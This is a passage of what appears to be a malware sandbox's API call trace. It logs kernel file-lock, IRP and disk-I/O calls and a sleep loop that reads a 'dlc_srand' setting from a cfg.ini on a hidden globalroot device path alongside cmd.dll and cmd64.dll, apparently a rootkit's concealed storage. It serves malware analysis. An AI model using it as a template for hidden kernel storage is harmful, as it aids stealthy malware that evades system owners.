FastMutex=0xfffffa80027d3898) [0121.689] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.689] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.689] KeLeaveCriticalRegion () [0121.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.689] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.689] KeEnterCriticalRegion () [0121.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.689] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.689] KeLeaveCriticalRegion () [0121.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.689] ReleaseMutex (hMutex=0xf0) returned 1 [0121.689] Sleep (dwMilliseconds=0x124f80) [0121.704] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.704] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.704] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.704] KeEnterCriticalRegion () [0121.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.705] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.705] IdePortDispatch () returned 0x103 [0121.705] KeWaitForMutexObject () returned 0x0 [0121.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.705] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.705] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.705] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.705] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.705] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd61d0 [0121.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.705] KeLeaveCriticalRegion () [0121.705] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.705] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.705] KeEnterCriticalRegion () [0121.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.705] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.705] KeLeaveCriticalRegion () [0121.705] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.705] KeEnterCriticalRegion () [0121.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.705] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.705] IdePortDispatch () returned 0x103 [0121.705] KeWaitForMutexObject () returned 0x0 [0121.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.706] KeLeaveCriticalRegion () [0121.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.706] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.706] KeEnterCriticalRegion () [0121.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b7a000 [0121.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.706] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.706] IdePortDispatch () returned 0x103 [0121.706] KeWaitForMutexObject () returned 0x0 [0121.706] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.706] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.706] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.706] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.706] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.706] IdePortDispatch () returned 0x103 [0121.706] KeWaitForMutexObject () returned 0x0 [0121.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.706] KeLeaveCriticalRegion () [0121.706] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.707] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.707] KeEnterCriticalRegion () [0121.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] KeLeaveCriticalRegion () [0121.707] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.707] KeEnterCriticalRegion () [0121.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.707] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] KeLeaveCriticalRegion () [0121.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.707] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.707] KeEnterCriticalRegion () [0121.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] ExFreePoolWithTag (P=0xfffffa8003bd61d0, Tag=0x0) [0121.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.707] KeLeaveCriticalRegion () [0121.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.707] ReleaseMutex (hMutex=0xf0) returned 1 [0121.707] Sleep (dwMilliseconds=0x124f80) [0121.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.722] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.722] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.722] KeEnterCriticalRegion () [0121.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.724] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.724] IdePortDispatch () returned 0x103 [0121.724] KeWaitForMutexObject () returned 0x0 [0121.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.724] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.724] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.724] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.724] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.724] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.724] KeLeaveCriticalRegion () [0121.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.724] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.724] KeEnterCriticalRegion () [0121.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.725] KeLeaveCriticalRegion () [0121.725] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.725] KeEnterCriticalRegion () [0121.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.725] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.725] IdePortDispatch () returned 0x103 [0121.725] KeWaitForMutexObject () returned 0x0 [0121.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.725] KeLeaveCriticalRegion () [0121.725] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.725] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.725] KeEnterCriticalRegion () [0121.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbf000 [0121.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.725] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.725] IdePortDispatch () returned 0x103 [0121.725] KeWaitForMutexObject () returned 0x0 [0121.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.726] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.726] IdePortDispatch () returned 0x103 [0121.726] KeWaitForMutexObject () returned 0x0 [0121.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.726] KeLeaveCriticalRegion () [0121.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.726] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.726] KeEnterCriticalRegion () [0121.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.726] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.726] KeLeaveCriticalRegion () [0121.726] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.726] KeEnterCriticalRegion () [0121.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.726] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.726] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6b30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.726] KeLeaveCriticalRegion () [0121.726] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.727] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.727] KeEnterCriticalRegion () [0121.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.727] KeLeaveCriticalRegion () [0121.727] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.727] ReleaseMutex (hMutex=0xf0) returned 1 [0121.727] Sleep (dwMilliseconds=0x124f80) [0121.740] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.740] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.740] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.740] KeEnterCriticalRegion () [0121.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.740] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.740] IdePortDispatch () returned 0x103 [0121.740] KeWaitForMutexObject () returned 0x0 [0121.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.741] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.741] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.741] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.741] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.741] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6960 [0121.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] KeLeaveCriticalRegion () [0121.741] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.741] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.741] KeEnterCriticalRegion () [0121.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] KeLeaveCriticalRegion () [0121.741] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.741] KeEnterCriticalRegion () [0121.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.741] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.741] IdePortDispatch () returned 0x103 [0121.741] KeWaitForMutexObject () returned 0x0 [0121.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] KeLeaveCriticalRegion () [0121.741] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.741] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.741] KeEnterCriticalRegion () [0121.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc4000 [0121.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.741] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.741] IdePortDispatch () returned 0x103 [0121.742] KeWaitForMutexObject () returned 0x0 [0121.742] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.742] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.742] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.742] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.742] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.742] IdePortDispatch () returned 0x103 [0121.742] KeWaitForMutexObject () returned 0x0 [0121.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.742] KeLeaveCriticalRegion () [0121.742] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.742] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.742] KeEnterCriticalRegion () [0121.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] KeLeaveCriticalRegion () [0121.743] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.743] KeEnterCriticalRegion () [0121.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.743] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6b30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] KeLeaveCriticalRegion () [0121.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.743] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.743] KeEnterCriticalRegion () [0121.743] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] ExFreePoolWithTag (P=0xfffffa8003bc6960, Tag=0x0) [0121.743] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.743] KeLeaveCriticalRegion () [0121.743] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.743] ReleaseMutex (hMutex=0xf0) returned 1 [0121.743] Sleep (dwMilliseconds=0x124f80) [0121.758] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.758] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.758] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.758] KeEnterCriticalRegion () [0121.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.758] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.758] IdePortDispatch () returned 0x103 [0121.758] KeWaitForMutexObject () returned 0x0 [0121.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.758] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.758] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.758] strncpy (in: _Dest=0xfffffa80027daf68, 